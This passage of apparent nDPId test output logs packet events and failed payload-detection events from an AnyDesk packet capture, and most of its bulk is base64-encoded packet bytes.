IQgvpyIZXP71ZQJ4b2ihX9CB6pC3xadi8vw\/7M2pdTt21Y5Zh0SlUYvC8fnmT9arRiRYaLPB8FOcRi2xi5OFMg7muF06e\/+rjD3tLHzt\/VVYl9WQhIfVT6MM+5QSp38gu46oGx0H3BdPvbIYTtKTYPiuSF0TZCL8R3atQKUD7ELgDf7AG7pg\/P8OxTBf7+2SHut2fm2qHm58GYcmRgLvrwIR1WuRvWp94qmNzz\/nD2D\/\/aE3J3XggfkabWS8SKOX+CVU29unQtpCVbiBI5xPepViUbgVYGWJU1cgpbfs3TcRaBkwF5JG2bAL7pqYIInd37mYu5kXD6LgvTHaY3y05PQbIuyx519yHzB8o7DndAysQS5LpGJGOtWpbtTTPQzPzCJuZ1oo7aEs9PutqDbJpuh8CU+kNZBpNd5INvvqE56pCNm3Hw5NZUJim+JUBlu1UG3Yvyhk2kjAG9mXYsmQOLGHLAX26arBhwWfVpvW3sMsYeKhCrMqs5J+Z2hIUQRH31V\/1GN29QbvChi5oguSo08YMLaTcFl+A41VvdDll8OfGRe4ozHgnVN7CUZmQrIKXq0fUfNpy\/9LgGE7IU2VwluIibEm7lrDhMOLDrpiAdj7Wxb5b8j4ezuOpZgqT1ldQskThyOM+a\/1HWdElkYujdRd70pQaF8FkpryUhE5A9W3zHDLLMmhLskLj4EcuQQZ0WlG28J2Z\/GzbkEbhweCOtAQTxGZ7fusVU2NAEKd5RK4IhUwmr7yyVgkgArdwqrKBcOMn2RqqNA\/Vi4Oap5HjCf2Zhskm2Jt4LOp1JrinkhI4UcLJjAka0wpectpUf8n2b8jzyqMK2I2JKEZlcC\/jf6jM69xotaJ7i4mjyBeApyHeqYrlvsUDlysSF7WpuKY7a2W0JljiBtC3AZ1xa2NkYMpod8BBkkqPAThnZ7ySoSYSbkZWWDhmjbBhDpLyGjWGJwmpc1Q3YnKHAUUczt3tQ4DSCFPDc9bI3dOgl+AbQ0Yy1d\/QfZPllJxN+VX3oVzGJlQs7itvin055a23mD\/zKw3YyoVUaQdtJbH60WathFPXJe7aEWJQ00iZNHx8ZarT0\/Bsl7iWaiFP6FzbElIttGJI2c9k1eqFeSlzLOqiCaPC\/t9fEbrE+nLC3R8HkFZLIvw4XUaL+EUR66O\/AdDKbHMGr\/SSmPuftwEwA2ux1CnMkn9m+iE\/A5OJ\/J0FphidOfS1chnME0Ftz17ED2BrxZQqp\/X9pXwAkcANA6s9y+DojokrbLhE3yHAHYAoclFIdWvkgptfItsstai0+90ChzwPmP\/83eANjjUwEx\/ErAGHGglnjUW8KMd\/wj+FRYVNNlehCFOxD+ut2QRiaFWnw2H1RwxPuhYt9Bht\/4dzRdFo1nttPjH\/rabBBdioQYnV\/IRHFs4XmlHnXnzFzH\/ZuBOpGkFupxthT+8xGy5dgE3xR9riKe27z4NUndNtZNt54AFSUqMH3sqoKGlAQbsxA=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":786,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2823} +02758{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":787,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":9710,"pkt_caplen":1818,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1818,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeXJAAIAGAADAqAG7wKgBstOUG56PHhqsWcQis1AYIBSExAAAFwMDBt9Z4hNO+msVTE15KDUjgUXRmXuwihkhOBn8\/7PT1V6N7oJ93OnwxZWRqvj4\/hHy2V5O\/VZ1akNgoGjHEmf+RzkRe61X3jDP+rqhYDC5fnBZTtrgleWUuHPBIiXhr+3UDkLjRKh++6nw26jpAyZ+0ftRFS22u6tT5+vUdAtwKeItYOHh3ETErZrqfDe8JFxbTZ9rz98LWIn2deDgvlvrx+cucEcP6uDYW1PFinE+chzy4K38ISEntFDcIqjDTv7B75GX08MkINLGG093C5TuwireFrGJgCDrmItsF5WNpG8uCxUdKmNKKI2rNSYQBWh09YHFXiqDcxR34uBG5V4kc026iR48TTpajWFKq7kC5buOelZyz9MM\/DRcgbR5PwbrW0fOhr12BXVJyOo9c26FWrlXEMfBl5BRQ3mCiCqPjntuO6VlMuGV+jTQ+5GhW\/ABq6vnR3tpsTxJokxyBctWOm7Xd7O3R19dG4kqcq0puWGeaOAhh983CaG9sOTxhXoZYtTgv88j3RePCBPX+aAWefsa8PVm8s8ShWPrjdTWs08K+jxAiZFJmt8+YOc1keoq+SRubCGjn6Bf2XO4A7qDfxMKsxVkVia\/zkQXTI7R5ApFJflsteUeCEOrHX\/1vbSQCUicvBSfTw3DIhHAMv1jw3NEJVCvI\/Ub1OF5K1uT7R2P8k1dko7APgmIGj2OUQKvkMiea\/2TE0NBFp+klJyP3h17u6GoYzurnsnqxWuzR25R3LGYD2hx8kc7V82i5njnmzBqV9AfwYm6MZjlx8R7W6EUvz0BsU\/alvCxLCd9oAcEaVphqVspSukSjOE3TmfOMalP6lJXdY3e5yV2qWrnaZIZB+PADwi4OVmgG6BJM\/nhArp+OEj2ryIitn7M1jAWpv4WUWR9Tbhb5R+6w+bdTnxx5MVL1iZaYadsqWPYpSE9mJzZHG\/NOFpqMj9MUdRoapv\/s26BXcvlDLU4XYoxYqYgq2kmAor42dT\/ou0dwAb4NLXsi1xiJOYAf23TPwAgD9gl9jaC7zLEp29RjvXsLwR0TyROLW+q4eKBZEmXP8GfYrPp6hGrxR7IN8rQ+UvHFcchZ4pcNFWfEWgCJ+4NQH27reW49eIESiibpNH80P6zrsr1GVQjGHbxahD9FsVmx0GZlbXetqRCBxvDFh2ZIitufCaTaT\/GjLdM0QMrAKaRvU4JWNyv+f58aIdyiUPw0sxmo9T5kx9A7L1bLlInBRHhM1lilXIK0NGn+Wm9cn+LRS5x1e27wQOuCTFkYYAqgieSLF7T0QP4Cn6DDOcxUJmRMqpzhRhfGwr3djgsP8X8sFNISyUqc2be1WmUTDK+WAM7GXEGZa0YgjINC9QOBs+JBU3nsVnetGe8Mf3JkfOfBW5cnXwaagv8aDG4LgIEtgxLcmg1sbVF+hXgXjo3Lt2XQL638gQkNZnrd\/Z5MYQN4QphM\/wGTaGd8H+K9lwJfTYuP4\/kb9Ii\/jdAq6XKcrrvGtZR2YyxZ5eiUG0lqakuYUDc4UvC1wgQAEoES6zioQ4sot8gMnPTtotdapDUdelc3ASv3HkPi+tAFZUX4ub9KxIdbqdcbTGbC21E3Ygra+zvtpnUFtYhSMdgwiPCeuqpSibpqYfwACeCIJm9bZMe4uacJ90jEKZT84zHXZNDqff30TPH4Z5S0V\/jCZu+pn8OubJCRyRPGFox90DQfP2uv8QVkwdLqcQPpIXlApbu3PQIXJLaMZ+r7xX4PB4Col10QRFaluYbDc2zFVh8kcydyEldU+WVV2tSsGiLs0UWedlAMlggmSjtoDxiE1IoNAL4Lal5FvqI\/BRQ43jJPed1hIutxG9N\/Q9eOk7Pj\/9sDGzuqQmcRW13Ydq7YkcbgSbO7PRA6sJlJgHYwcZ3v0m58VRdc3bWROn6HVjXSv\/4dUTdxqjSpnfScvvDBcYSl3jFJaGn+N0zO5cLNAufWigfg\/ZZ9pJLxIhmCrY7m2FMJg2xDzM+GPaOFEARAB6ALWfC1mHLZ6yfWpJzcq\/Ipnu+uq5XZ0VkgyAuh55u8pn5DOyJfTxooMbXxmiomfHlbl5gO3i\/\/Lag5+If2HiDQEkRf2r2vky2bxyGry+ZGKWzMpPEMJJREighVs9u9CNbxlzUSnSdfgbga4AHCUG2D41SMzozybE1+9VTU0DuLf2ykyUChGwxfvJJ+WFi3Wri9s235Rbh+Fwh0FpRqVHbmhIPKKw+pu0x7lSE\/MTyiXMZod\/7NeFzYf1yd+ZQVaaOmO+WC9VqujYLhxSStWPTV+8Rie3YnMh8yFI3xK+GA7tgqwM9PRszi2s\/XzBbOcDq2Z1qb8HzjTEz\/MNRwj+CVglD"} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":787,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1784} +03448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":788,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":9749,"pkt_caplen":2314,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2314,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeXRAAIAGAADAqAG7wKgBstOUG56PHiGQWcQis1AYIBSExAAAFwMDCM9Z4hNO+msVTQMHX0Otc1AeinxG2JI76IGyG1kv6M1YtsY9aRiEKxHkkcnjNgG\/sYehtJOKVOxuVvB3uhegMd6DByx3u1T8q90tr5a3hMoIijHvFnK7KV14O1+RomtZKRWOEg7UweBjUMsC1PwXHJwRcjA5Ni2e6wbG8myBRkbtrvl3ve3i4rapp9F5n2GvMar5A1cTpYFYTuxkvSw40o5+UHdaLKb+TtZhUon5pZTMdBL9Zp4WYbqKXKYsAU0LHreqmTBr6etpabuf3lqAV73pNDfd4aQ9qwWjvjFNrgwnysUtsWYP+UGn49pf3xh9ipiS+cokUbVNWobHp4uC0\/sYqzhinMHJViOC4+BuYSwAiNyrnXHomHaryh0RhqTW9k\/Lyr5I1F1vJy8Qq6USoue\/10JxTQLknEei\/Mv1KhE4zWmipdB9DHinHDC9gkYHidrHnTuoTCw1pXOlfadLrSO2pfwEhFN0p0NtpeARjVCfr7oDhhG\/95BSzg0SSEfnOJU\/FyKp1rcibAe9TktNa8f8zSWaJEyBg1Q4czaJa9Rfwwobi2PuDAViCIPZPWQyDX2mOpvmonZXTYoBvz0S1WOc7pln3gMLYGZyMFh7orbKqQOFICFbPoB\/t\/ohXZ1fuZjKmv5qYsy3\/nNW2DXcO3Dq6ctZ1EGvaQjJupDLo91KvWNloKsCFIcEdCk64zYi6dZ1W6YEYuXPIw7vWmznqLr151ipTjqtLQ\/8Pr1Bg7\/aWzUhJOJU7DV1UJeVTGBmW266nr01mMaSvUyrwWHiygRQc2q1FrZUQ1UNVdLnErxWeB5tmt+0AIbd2\/ij8GQ+OTQ8EfzijvK\/ozcZUFFkT8MnN5KvArNQQnLLE1vn8aAXj+x5JR4VtRksT49asq8Rr7GbQwQP1Gd4iZM738I\/lINfcs0tnuknT72+bnjUpwvPZVYE6+QSNp9IKwKRQV\/\/2Xx8PMGU31dgzjsN86742CBq+UabN94FPv2eRULWYn4QbUmh2RIxPPp3TxD53\/P955I0cCuDLGhfZ5Lu+hT5\/xSqGHEd1yC0giC2tqub4vNFUp50OKlVIER31nlbcYhGl8OYANW2z0rMz4PvQC3Eh6qIpRLfMYxukc\/7CoKqoHYuYyBTr59nhjv7c7VLlUV+J9CxKPmi7lyrx6al2Su9SBYOe7ooc5eEmpbMrsMjfr8pKLGCOGGlMIfMJOu56k92JEHhs09tA\/tSGHmJ+LFwEBwgPKTcxFeRJRYI58jASnUVFJY6ieoMivnFQVb9r89wfRr+ViXH\/LOTnvZP9cXcKB1d0Gt3CdOqEVDJTre9Vv5YWpuU02h\/irQAu8q6yO\/zX\/r38rW1\/a55loTWKlBuB1V2mupTSAufWY3yL8N\/FHin7lQBTNLe4urRlZu4F8gE+WiY8lugcu0GpJmAUrffsHqdnFED2a7RFR8zdx1DXbLn3aPqeXxygWz0ANaHDeo6\/175ntWWoauSzAs4MmvI1b4KDdLq0AqATq\/rTncrgNmLLF5nnkSeb7em4W5dLXRQxwY7A0GselvBCqWnH\/4A+2zet+Yo9MHjYRl+3sAbdUoYti78lb8sEF6Ml4KIuVLt40YzH6g2p3pEOXAn7wW0GyQI0KFOtKVa06vXDPXy7EBFu6VTff2ehoD\/m7Dlm2+nHyM+f0fsk9nLS1Moy24OSrGU\/03G+ili6KV+fAsZMoHYW7l9Adnlmi3qsoh8Jp1karv4\/esmElPeTRCyyzO0J8G2F1Ome1H6IGU5fdEe5G2MZKNnK8KJYs8\/54FCRbzwyAKdY+nFz5gde\/YNCZgl2DGQBtIu0vljuTj7V8VM5jwG+O\/CHKQ3d6nj8bUlfuTSx4JaaoAvCYyeY6hDxFZhVc\/tlTMQDrKHB0TxKdLIJBaXG1arlwuamcJSRVgnvk6hbG5lDJMiRAf1QnT8MAs4RK58DWIl93vqUkAtpabvzoBlsO6SgFCmTxkg7Pn7aDQEe+pbNuQ4hN2mNYqJx2mi5nEfLEV3tD3Vw1PAwOpvjD5hi7PS3eMKa+DUMwJW\/PAaXV\/jB2BloN9LD0APhVz8QGLKaB0CDeYwwzTII35OGdKsshRe1cZMRYzr0RH+n\/3oy+2DIBzuIyY\/AVlSchy35Wlgv5jeiM6F+w\/DM7FDtqYU1oUjCuQ8YCLINaLWKq0q4tAQvnH3ruiOVZg+yJAGAOJ6AlrgYvx+UB9mBved4vAatIelSndmYXk1yOZK+LFGhj6kQBGYutnrojaZkKxuxiTFqI\/smNIkX0UfbVbW8mR9MBWrx0tF79ozOSHTK4ojMnq5iYEdPb\/XgTQsXih3f0VFhnMa7ESvLrWyfq0BzivXIjIRidl\/W1+LGc6BI3ehsb3unuzEHObPVLm752X0CguP2dPyLmfRr24s74fhXT2OQGGZi6nf\/9wy0Og7VJdlhq6vBvVWsUvZOFJXpwMki6ZGxYzp4zmkMVhsjLZHuQDax217jpS+4UvRu\/H1bG4AQ2MP3wXwymrVQ\/u+93meej6v431IONuoLc0n4J364lF+mjM4dNxn+hTW7CJ2YNaY95\/yupQ+THK\/s7COm2LNzDXBP\/M\/X\/m5EMwHXzFu4PvErxqs+8VRrmuJQaNrA5pbe2iQ1QQb76sS2+\/JUWPUmin1B9XnhWMA6zYMDqgQaUzpkBDvuFD2UBD4TVEBKRYIIiZNmNG7pi61mWx5Qa72XdLdAIWQrEhiuaNEIat4WOAJFpPW3DiYmGqN3d2OBlCyhXAWEY+kSIXIVPRBa\/weibMcVXn3WwlSlw+Gk9tanDNkQVs8+rCErGFwhbtFFYVU4PwufCNuC2Itt063O3PnxSCgf3CJNOuJhQljDMv9uqAiPy9hErDS5m2nr4Sn4AHvGiW1TLg\/rH9n6YNFFmGtLrShY9YR6yyu7l8D1dD6rlB1dPL37sgvxk2w7FAZOFJquURN\/H3ZXZVoYnTE8CoLTFXYp4g9eGYM34egZEpCIxST8r25cxncgEd4vSVOwC\/nRQ=="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":788,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2280} +02516{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":796,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":37448,"pkt_caplen":1637,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":1637,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeYBAAIAGAADAqAG7wKgBstOUG56PHipkWcQjEVAYIBSExAAAFwMDBipZ4hNO+msVTufIq1gQIMb1ghuKUZLaOXth1G3MykifgntpshzE6MuJ4dWiwBCYvZna3rJ75F1ALuL1OnmzVBCi+UKdCp9GUhfBG\/\/W+YSJ4ohL7rnBXM4fIyI9kxD5gVAbXYa6OSLbEDojAlPP9MYbGUzBXSXv3JB\/Xv5H4aGYwRUr8InxCagZv5L3KTbuhoEwz0aRcqGy\/E8O9Rew0oOe6TSgLTph\/4hu2uFQdOvTHIQjHdJXuoLrtWuQf5OkpVt9\/zRAireWbkuN2YYClmCSQvTAgE7tV9h9LENICxFJPh1xWPt3RXriTqX9vSN2CvY0BBQQxLLCTYgvSSKFOf3d1T3UxNCwKmhwn84ZksMVV7dDbFgUbh9UFHEO2f5Oef9YwGoLE8oTeLTdCVhrY9OLMFXwJFPt7VBZWt54Ec61Ga4h09ZHx14BqZOMS5a+UperWTypbjwpgEFl6gwnUNqxrVtATXgq9hZANwL6gjtLT7\/\/sfYvB4EwQ4zWTayA3l6MvVrs943nF7jg40nYMANnglNu0HJcVgE9qg23uMtbm0szXgEVN5L6So0Byw\/veuZlKhAGMGM2ph22kBjo4nOzQuCR+Mec3OU7k7uaNB8gN5GvFYDApJKs3fIureKj+WhtWi3vWgioC1IUQvDj3ngGliE5V\/U0+JCqkUebYJ6XdLRFeTM37ipOyIcBHMmX7XxmiaWkz5N7wP4HwQRvJ1RZKWjn2Jnpf1fDRXLxnEwQSmhMbX3Psl9J0yS6J0BQCaoHUyqNcqL29sZYqXDfB\/ucgfuXeuh+6ZgGH1rBJ4AKd1b6sq0rInafyI5BRY8CNbkNg5XFfqbNGnz+gzc9PH+nmNGxgkCoipaBp1d4ts3rPAJdyCwWeenHptgbCb8uNHPUP+\/ri3zoDhXgpKCrCxOvvuBLTZyxzkO0cpnOZgMYENxuJwTvz9pxsUHAyDKJ5xhW+8Zjhwoj3ihrCseiiwSsJGOnOk2ZvYrIo1\/OEEySjYITOkt4qa+co4khJOZFaHa12vI6atpw87QzqjfTFq9QVuYBo6cW\/Bp+FWZyZZYe8CKMxXgbDNAIswOpnfhOWPAtiw++sGiIT\/3YoabKxopTjXgC5fMFyTCBme1IoYvS821OSL1VxM5E05nvfcIMmeXlryYXDPLQsY0TRlmOxFNqkpSHdzbV82RZpAlKjQxlj7zj9h3MOxuCBHoVjrESOxERjVUcMa\/q5dv0pHqkF+5M1dsrC+lOz40bZaKglpFGpsVDoBzmIawql8EmCoFj8FGzG7Af7NE5AtRfbe4FMBDQMIsxhsCP\/XqxIGwFFpkj+skwmosnJz+YjmbSvRxVwlL1xK8AGliZut490FSmcjUKoLfOVN1l4ntghCUu9ljYn7p2xlNVYuc9XA5Q1FAY7laorQCsS\/0PfjMMWinGp7ffTeD20WFbIOLxMJM9OpjRBDe07T29hZZO\/XAxAY3KMEHEr\/jFWhJipLws7QHNFvK2euMOu0koTtgt0cOLK9fUXrwL0fWZmHwsxz4Lr7kspigG5Z7HEfAPq\/ivowZoo3sYhmHDaDB83aue2Ezqf47+nYU+BU7JZ5p8GezluAEknTNrOC62nEmWwiqar2wxIpdToItmouiq8VNCWlyFR+oETA23q8SItqZpzEXtWN0p5gNn\/jkaKQjZ2RhU5jNuxjU4Q5Iuv2eqtiG3Nsv5rGl\/1GtHO1o8Z6qcKq9BXAiVNlSutqlKVXxFNVh3P00LiYYUNzFzWBvTlY1bvf7ObEnBk3lGK1YYS2FfuBo8crjfCJRech1PLqT7OtnC2s\/\/d6e\/oXEXa6tjtEFUekxFrSH0Hghg+H9KumOeFcTfxlcug0SpDaRIUa7zSdvNFI344pr06yyUqCWVERXQ5KBy6t0EznMt3Ys43RfQl\/jRXukgG42AKIg+OjyQFzO3p2eD2tAK3gQ9\/InB6CxGIrSFuLJqQBMbsRw6ObMkfNmKucwkg+iQ9rPcOyLdfl9dqYx9TSZGmE903YJEOlRlcpzc2rH5axu2FxWrhrosB2sJwyiI90O\/ByjtRfuH89AiYAEzP4tq+tEreEugzwJ0beZtcaQ+LkvZtLZPFZiyWRo="} +00177{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":796,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":1603} +06026{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":798,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977609,"pkt_ts_usec":38234,"pkt_caplen":4230,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":4230,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAeYJAAIAGAADAqAG7wKgBstOUG56PHjCTWcQjEVAYIBSExAAAFwMDEEtZ4hNO+msVT\/JxjlTpUfWQ7wjTizY+57mv1Y22L+2Y46KGeQuMsxW4IaIp5nlB+xHeOar23jpoO3pjclPKDRVdfI4bgonm\/IRxZQfyWbWCO6cJaFxR\/Y6G+6bhfxT5zJJwxriHvBFqPRwnib3eVWlI5fyT0couiNOG4V1dHoKLFp6kNJARPHGdhEvTX+ppxB2\/EyWIU6PKX2QLjJKgMxVYTVDWjF8+CuEMjdsdYBJVXiwSugBLd2wP2RclTFHZLy2x+CFRWTO9s9a4kW9IsQ8uPME4SCeYLqr1mwxZMqKPG24Y8OyMm+CaXKqrAIHXtam1zu8n9uat2WXNprUM8BORfvHMr4abjF7iUGva1GJew5CxmYTvhV\/gD8LN5e9d0Tkc0rARUNoh0gKHxxCqw\/rPSVCyTOZR4\/yj+uNSI\/VGRu2V4\/Om3I59cTy0TjL7N6W2k+9+q\/0QXGIdekvV018acm9WeT2K7kP+QQ6CjHM+UraW+UNRLw\/HWiShxXVWchdeqmqG7Uu8HIaGW6z76+as++Y4UDyQXLJIi9e+VI7VUdJNEmOI\/Yh4tDJ0zEQEVwke0lojjnUHFJ3gy3O+hrXYmReiD\/gwaRbQgaNIBeBF4+3PFanSCHQsODm4UiIWUxpfdtJFDUELk04urmHelVm2pzAISU1UP6ZwgmAN+iI4uD29\/IOTUS\/fl45CnLp61DioRzPYwRnownIT468Mk8SRAN7KwOz7tKQgrFsnHjnkE\/8Q2tzVDkSkEIZKS8Mz9Pjwp3ARonPXs94eYOcqiVHpjCaWUddl1F0mPEEg6q6RAYym5+pltGAM9JCSOzGDiV6vWgDYuXPEJcwyEtuzcKNrwAXh7glOwIwMKPIzMdgoCVpdVy6tQ5BN5ZyuWIPaVE+XPK49iFvAwfWxhspA2jKTfzN1Ja5nJtpZZyha86s9NkNrIAlOHfxdZO6xlMMwiCvphMZjR2zt90rGLuhdjpaptTi+w6Ux8M6LB\/cn++IJP4eOrbDN1WccrcxVxNgvKGcNMRxQG\/gCqCQcimpfSOGA2Qeeb57F9MaBqMG+px4tnTew83sDnXwpLUXnhEXJnQyiL0v\/03NC5yQvVhUo3HaA9IwGlA+On92aWx5ew\/OMXGZwxDMMKWGOVn2NvldVkwoU66ZSIH5im80S53KVTQgk2cviG72+twCGCpU3\/OmERjV4j8rc\/9zZlv0OEAn6+AH\/KK\/7EMh+MIovKvNgix5\/+1LOg9VJl8bw+N00HtXmlbt5YOdz7vv\/KPt6LFe1o7zFqWhkIM84\/eynwrl7DgxN\/VXlYLRdJox\/9Ocs7W5FWe3hQUuV1CF0Wouxe\/aK2tORMoyW\/Itl8v4bSBoL7VW+emgU2p1zIygG1VwU6LckhjfMhGnV8fHTMcyvltmHacd6apClqciWS7dG+lJEYWingyYvPRwVe5MgoYPbUYXRIBRHa4zoT\/xhGO+t3Bp6aDw57EJfdHC2R1UPJ4gtvC9Vv0\/ElUH4MQA7lwFkuDcvgCbKDxnDtdwfWw740xv4uH92w6KDbZo+4W8tTYsH2a+5DMwZAYa+sOCReu9OUSsB3ap97Q2CKc6DHHQ9RAhJv2VDTUGPTOk1Wt1V6uYjp6bmt\/lwJvPvmtJRVy9KbkxwG1k5BiB5K\/0AUm+ZYdJwlFpo31+XKKBxm9P9tLrw2bu0vdFxECjT9uq7MTZusBlf\/xBk7XVwlCaTO6GdMI4ZV2p2\/No\/EESdkWOeXaEpAzeRsOKm2GGDrV6GbKMO5LjI19eQ9yPr57ojoLamdhfHNyjaaQuq0MmxRzM5p5a4W3CjLxaJi+EoTLkUCS4z4lnXMIEOCDIgz7gWTou8Oy7w2\/PGi6z4GWn5DucuvbN88OhZSv4xy\/mbPqOCab\/7693PUd4QDBTwHi3kjrpOfT+qYm2HnfKe5h26HchbKldOypB7JzlVzVDWIK9ayHrNt5nqUWyL6i5KIa2NGJe6gkYJ1uzHvXGocG817EoXE3wMHZqH0KHSbRqeXnzv+cYlVYtmfCB0q7ujfNQsSVLukAc\/5hgqIsM+BB0SeTK0t9Y+KRxRHShVcsfZet6\/rY6Quq76ZDwK4sqTfCyjyfOgqe7GgYKvE5vkvaTJxhwpbIe7i2Zaj2T5MOY\/WHzbYyQnhEJkeaQzk5GG8OowNmU4PJ8hOEJXw81VRci9px7KFVIVUUNRnfyI7frlwWs9BC5KOv0knACdgPRrPHZaZCIE1PhyqtWiEcW0\/xJwK689VHxTWy6E1IgZrGGmLXisvGcIAPeXajLVqKzoNiepl2JkfEzzFS80jUVOt+k6zR3AoQ4MA2VHOdo7Zv0SMt+BTGDylLzyyo1Jc3hHVP4j8+6Usrn3bJ2VjaFLkYSMvaKGOcSz7x0zEAxRS+GmD7Bhm+Yp9+OjoOxTazWaJGzs0xjWQq0HSLciTASgVcPMwk3mipq8qBmUyaTTb6jQ3kkGuvm0T5FanySgY0LG8aVUzyS5emLI+YspRRM3Sr8BxYuTs6Ne87tA1koeFDgexb3WMS0Yxr2mcoxNzNCM6hq+47tlHwi7zffqEviJSvV+jb3Y4U71Y0wstLi9tvtNkrhGr1bHM\/RVo\/3tiYojdu8tL3aQm2VuGvEo+f8LDODZNV6UErJzbQSM3dj2kY69fmPjpy6jJ\/DO0vgX5GDFUFigQ\/7aEt7bBggzRjyf2CHfh6L4jTHh1lswBa7cj07hJYRl23tKAhvy\/ZcFNe1dLVr8\/lOueZt8GvIHoBFV7PqZMRa1j26jmPopgbq+VyyqAAujSdGXBkIOJv90N2unB0eJD6eQpCVMj\/22MXEBip\/6fdWTvSUI6n2fG0dRoX4d9\/OwV29KFk9G9KD5+TcO9EuRnEj\/0kONTx7OM6mi09dG8C16tRZ\/ty4CwFR2LvHjBq9fZNe+RqZENW8GI9buCEABCCeGpcTZ+H2qeP0LuAer4bFvPTnwhNHAa3T5pI5uxg5a+fXuieGNEoskmnFgAKf9+BIOaK9djaWIwMVGFZtmne4y7SWNW4tiQjNwbc\/2EzfdBFQqLZalaKcczyk5wvmSGYy7YAngBkNz0Zkq2M20K5dE4TFaT1JrPUokApiXy4Ebaxt5NLxa+K+Ek3GthkUxIDc8g3bNUuS\/Wuq0UvOIBrJQFZve9Qky7Lp0qw3Pc6N+FwlXMtCkoRwpR6I9Oq7NEWl1ZmV+uSfY16NhDKjhAHtV3jyYbX4PNy0vCRw3UkDDm0+oELgJCmuhrVpaOv4h6gA\/Y+UURKA3Ll0PodhR9uDnqRitI2DlX4\/uVhLmchld1m+fe0kS9PSLDrq4t0B2kK9ApoMlKBzXIgZtC5Ghnp7BlG0x\/iQ5I1XrbKmeu98twsJWwTk07i8Rm2fOi2b2g4oYHWePu3vazYDPSAMRFAWMVc4gzUn+87LD8M82n20xz0Ss26D\/i5hEWZigY+yyFgbl39lGzzDtGUqxx5ZmZsscM\/xg7wdYXDHhBED1clpWZqXNt03m5HygmwKhpQYSIU4NxoY21Rzri5rAzO6ysDYyPeniV8W+MhoRuaGcupXre+tespd6xH+kkk7Mbv4i6OJmd7G6ITj5GvKsRpe4HwoSK2RP+PiRWC3KvzmFSJnUtWcWt1uHgjgwmmi99\/Gc++g3Y6lo5WA3HZRb3433SY6TgjN4\/fje3ABSfha057aQF6dI\/A2GtWB1TOIKVnKcID3YFtQiHTYHoeEzYa919BWQKYnw89EKc9pwHbgHHjCURQ6+dZ\/4bF1s8EVB7u5OIoOc4AZvmGfK3As31GgeMjSW6TcrSkHRWK2mTNVApieu0XEa7ocCusWYsRdJbaavsy7q7Hiul+o7cZamf+g82su9ylpqdJEmlA7apwt6ltvM8mchEB9SX2\/jjc14pabf8njVRihw4EsFmFJDrb3Mgs2xObMRBjjd6VIFPBuP9r8bGnokRnB4lwL1OhhvMtLz2ozCNIQ9xplCZU+I7EE8sDFCExgWn9zsrwYOSpcbfEmvZCZ5tTwxLj90gbRDTSnjVhLdFqZzmorE2SaPpMLg0N3TrDP1eoSWEMCb3tbRYtUNgLVn+hWSibtbM4egvCXlwbvTDyI05iCDRpZaZR7RBDC7OhMJDTJcb8ldXvMLoMSzgjy+V4DcWgDWquP8q\/BmQQcHaNGFOzgSfjgqiHol5oqKvY8Wq862SD4NuB24zvy\/cYOfaj7VzraeZH7KAfKGuwST3eTAbicPEXnxDv8WjQ4HuCiVVBE\/5QgIm8azf5KMH7jfVdENYH7I6q6Ba3Cl1XABz8CVQtYn8YQtsNnnSgKluYZdN2Nqm+rQNWz9U5aII7zEMXABiFQxSLZ5lS578nZpbl3Q7SQbwtxlVoR7fdm7No4SXy5f4mss4RVkdvgqQatdz1O9tRNcMbWfdfrlIJlsiDpHMazmjaLjWIlX1n713N7EfGvqXMHNHxA3DQYIC4Ghb+q8JGOrSJqxm1wKltEMuIlN4\/6cy1anzj8tAYJtWHhsR+b5ZQU16sQ95xNumcVRFD1t7NwHpNWYws3Km3Wm+wkwYKim069Yg\/WvdzTPqULZaZShTQAZZquHiyASNlBYmYQ+ja22vKKJL2wyop1hIhPGIaodAF5n9D65LzXN8gsMPBEPS5V8D33mtRmB9wQetpqAyp7cByoExdQXf24rIsom2vpoB6RbZ8hVOBOdXLIm5wdPv2XjEv8M0rYoWLGGDtbPqiie5bT+G\/JuQPBchRHZXPxqSQG6PGP9R3GkDlPheK3n2ro1K7xXM6MFOJ2hqXA2hSF\/3WZZIrEZ2zfYNMjgfUrmnVlPseG9LhJTE3AxYbpavcjSjMSnSb6PqFaW2Qs81vAvQMrX5Hq1VyEWLxMms4TWyQDJxq\/QSngEGg3zYEj7DusLm3L3U1S6xuZ9Uml\/vcqX0s5cwV96ag5\/n532bQTAEpypeuYUpuk69tlQ+tFFPWH0WtuyvXMjGwoXBWNu\/elcmrWw0ebPNCGu2cl944Lq18V95tqmkfOW6ZnjXWfRbC9GCdVz8AUPpdMuk2jbFil\/WU829Gftpyzk9G55KKW6jAVKBbO5IMajRNkK53Rt08mH70mp601HtseBVyrqr0MXAo0bbf8h